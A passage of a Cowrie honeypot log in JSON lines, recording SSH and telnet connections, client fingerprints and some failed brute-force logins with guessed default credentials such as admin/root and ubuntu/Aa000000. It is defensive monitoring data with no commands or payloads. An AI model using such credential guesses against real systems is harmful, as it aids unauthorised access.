00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:07.786805Z","src_ip":"200.187.71.114","session":"3f89cc691bcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa000000","message":"login attempt [ubuntu/Aa000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:08.292870Z","src_ip":"200.187.71.114","session":"3f89cc691bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37105a71f95","protocol":"telnet","message":"New connection: 161.97.105.174:39464 (159.203.135.109:23) [session: d37105a71f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:08.711088Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:09.417533Z","src_ip":"200.187.71.114","session":"3f89cc691bcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39470,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c864f91fba0","protocol":"telnet","message":"New connection: 161.97.105.174:39470 (159.203.135.109:23) [session: 3c864f91fba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:09.655263Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39472,"dst_ip":"159.203.135.109","dst_port":23,"session":"f602a6f69452","protocol":"telnet","message":"New connection: 161.97.105.174:39472 (159.203.135.109:23) [session: f602a6f69452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:11.443319Z"}
{"eventid":"cowrie.session.closed","duration":33.836934328079224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:13.060395Z","src_ip":"161.97.105.174","session":"a88f370d3420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.040442943573,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:13.095750Z","src_ip":"161.97.105.174","session":"f64618ed3374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39488,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffe754c3c98","protocol":"telnet","message":"New connection: 161.97.105.174:39488 (159.203.135.109:23) [session: 2ffe754c3c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:14.384047Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39490,"dst_ip":"159.203.135.109","dst_port":23,"session":"095d0e010f14","protocol":"telnet","message":"New connection: 161.97.105.174:39490 (159.203.135.109:23) [session: 095d0e010f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:14.901283Z"}
{"eventid":"cowrie.session.closed","duration":31.732075929641724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:16.721513Z","src_ip":"161.97.105.174","session":"bb7c0ae306f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39498,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad485d2735b5","protocol":"telnet","message":"New connection: 161.97.105.174:39498 (159.203.135.109:23) [session: ad485d2735b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:16.735721Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a4cc091f7a","protocol":"telnet","message":"New connection: 161.97.105.174:39512 (159.203.135.109:23) [session: d4a4cc091f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:16.940283Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39514,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ff1038e9dd4","protocol":"telnet","message":"New connection: 161.97.105.174:39514 (159.203.135.109:23) [session: 8ff1038e9dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:18.058784Z"}
{"eventid":"cowrie.session.closed","duration":33.430907249450684,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:19.384852Z","src_ip":"161.97.105.174","session":"9246c64e004d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.016979932785034,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:19.398351Z","src_ip":"161.97.105.174","session":"00117cbc47b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63029456138611,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:20.708119Z","src_ip":"161.97.105.174","session":"034b6b86d18c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.125974893569946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:21.121727Z","src_ip":"161.97.105.174","session":"561961e268e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67209219932556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:21.853395Z","src_ip":"161.97.105.174","session":"65e53f411565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00880980491638,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:22.050119Z","src_ip":"161.97.105.174","session":"a34adf0b1c0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41058,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbe8998ddefb","protocol":"telnet","message":"New connection: 161.97.105.174:41058 (159.203.135.109:23) [session: bbe8998ddefb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:23.546939Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41066,"dst_ip":"159.203.135.109","dst_port":23,"session":"b56e7416b9c0","protocol":"telnet","message":"New connection: 161.97.105.174:41066 (159.203.135.109:23) [session: b56e7416b9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:26.261680Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38546,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad1c47d1fb8","protocol":"telnet","message":"New connection: 161.97.105.174:38546 (159.203.135.109:23) [session: aad1c47d1fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:29.670049Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"18cc28852d41","protocol":"telnet","message":"New connection: 161.97.105.174:38560 (159.203.135.109:23) [session: 18cc28852d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:30.705073Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38572,"dst_ip":"159.203.135.109","dst_port":23,"session":"af8d48243c56","protocol":"telnet","message":"New connection: 161.97.105.174:38572 (159.203.135.109:23) [session: af8d48243c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:31.296862Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52a952bc160","protocol":"ssh","message":"New connection: 154.219.100.220:33770 (10.17.0.5:22) [session: b52a952bc160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:33.835821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:33.840726Z","src_ip":"154.219.100.220","session":"b52a952bc160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:34.050190Z","src_ip":"154.219.100.220","session":"b52a952bc160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.52902865409851,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:34.146955Z","src_ip":"161.97.105.174","session":"d54131f59f01","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tsserver","password":"tsserver","message":"login attempt [tsserver/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:34.920079Z","src_ip":"154.219.100.220","session":"b52a952bc160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38576,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25489fa63ab","protocol":"telnet","message":"New connection: 161.97.105.174:38576 (159.203.135.109:23) [session: c25489fa63ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:35.399548Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":34868,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b23be64d63","protocol":"ssh","message":"New connection: 202.125.94.71:34868 (10.17.0.5:22) [session: 31b23be64d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:35.469362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:35.477667Z","src_ip":"202.125.94.71","session":"31b23be64d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:35.742944Z","src_ip":"202.125.94.71","session":"31b23be64d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:36.132413Z","src_ip":"154.219.100.220","session":"b52a952bc160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.35782217979431,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:36.828030Z","src_ip":"161.97.105.174","session":"40a4081c8a10","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:36.833784Z","src_ip":"202.125.94.71","session":"31b23be64d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:38.101967Z","src_ip":"202.125.94.71","session":"31b23be64d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44814,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f5f0f4e12e","protocol":"telnet","message":"New connection: 161.97.105.174:44814 (159.203.135.109:23) [session: 69f5f0f4e12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:39.821411Z"}
{"eventid":"cowrie.session.closed","duration":34.59430766105652,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:40.007573Z","src_ip":"161.97.105.174","session":"0836a2732bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88791465759277,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:42.543056Z","src_ip":"161.97.105.174","session":"3c864f91fba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44818,"dst_ip":"159.203.135.109","dst_port":23,"session":"2624993c728c","protocol":"telnet","message":"New connection: 161.97.105.174:44818 (159.203.135.109:23) [session: 2624993c728c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:42.913959Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44826,"dst_ip":"159.203.135.109","dst_port":23,"session":"008092ccbcec","protocol":"telnet","message":"New connection: 161.97.105.174:44826 (159.203.135.109:23) [session: 008092ccbcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:45.416203Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44834,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf507fce244","protocol":"telnet","message":"New connection: 161.97.105.174:44834 (159.203.135.109:23) [session: ccf507fce244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:45.451355Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":34514,"dst_ip":"10.17.0.5","dst_port":22,"session":"57634eff4b53","protocol":"ssh","message":"New connection: 152.32.130.174:34514 (10.17.0.5:22) [session: 57634eff4b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:45.708108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:45.713745Z","src_ip":"152.32.130.174","session":"57634eff4b53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:45.927358Z","src_ip":"152.32.130.174","session":"57634eff4b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.800629377365112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:46.184550Z","src_ip":"161.97.105.174","session":"2ffe754c3c98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55859446525574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:46.269592Z","src_ip":"161.97.105.174","session":"d37105a71f95","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"m1n3craft123","message":"login attempt [minecraft/m1n3craft123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:46.814173Z","src_ip":"152.32.130.174","session":"57634eff4b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.473676681518555,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:46.916901Z","src_ip":"161.97.105.174","session":"f602a6f69452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:48.031613Z","src_ip":"152.32.130.174","session":"57634eff4b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36701679229736,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:48.268186Z","src_ip":"161.97.105.174","session":"095d0e010f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38146734237671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:49.440175Z","src_ip":"161.97.105.174","session":"8ff1038e9dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.440372467041016,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:50.176002Z","src_ip":"161.97.105.174","session":"ad485d2735b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60238,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d75f80b8e0","protocol":"telnet","message":"New connection: 161.97.105.174:60238 (159.203.135.109:23) [session: 25d75f80b8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:50.954626Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60242,"dst_ip":"159.203.135.109","dst_port":23,"session":"67592a2c9398","protocol":"telnet","message":"New connection: 161.97.105.174:60242 (159.203.135.109:23) [session: 67592a2c9398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:51.621611Z"}
{"eventid":"cowrie.session.closed","duration":37.12193822860718,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:54.062071Z","src_ip":"161.97.105.174","session":"d4a4cc091f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.475769996643066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:55.022601Z","src_ip":"161.97.105.174","session":"bbe8998ddefb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35414,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae0595ebcb57","protocol":"telnet","message":"New connection: 161.97.105.174:35414 (159.203.135.109:23) [session: ae0595ebcb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:14:58.885095Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35430,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1c856812036","protocol":"telnet","message":"New connection: 161.97.105.174:35430 (159.203.135.109:23) [session: e1c856812036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:00.066276Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35432,"dst_ip":"159.203.135.109","dst_port":23,"session":"406ad2952751","protocol":"telnet","message":"New connection: 161.97.105.174:35432 (159.203.135.109:23) [session: 406ad2952751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:01.073141Z"}
{"eventid":"cowrie.session.closed","duration":33.691542863845825,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:03.361498Z","src_ip":"161.97.105.174","session":"aad1c47d1fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.96512508392334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:04.226693Z","src_ip":"161.97.105.174","session":"b56e7416b9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35434,"dst_ip":"159.203.135.109","dst_port":23,"session":"14323fd1cc72","protocol":"telnet","message":"New connection: 161.97.105.174:35434 (159.203.135.109:23) [session: 14323fd1cc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:05.950608Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35444,"dst_ip":"159.203.135.109","dst_port":23,"session":"802a66d21646","protocol":"telnet","message":"New connection: 161.97.105.174:35444 (159.203.135.109:23) [session: 802a66d21646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:06.272910Z"}
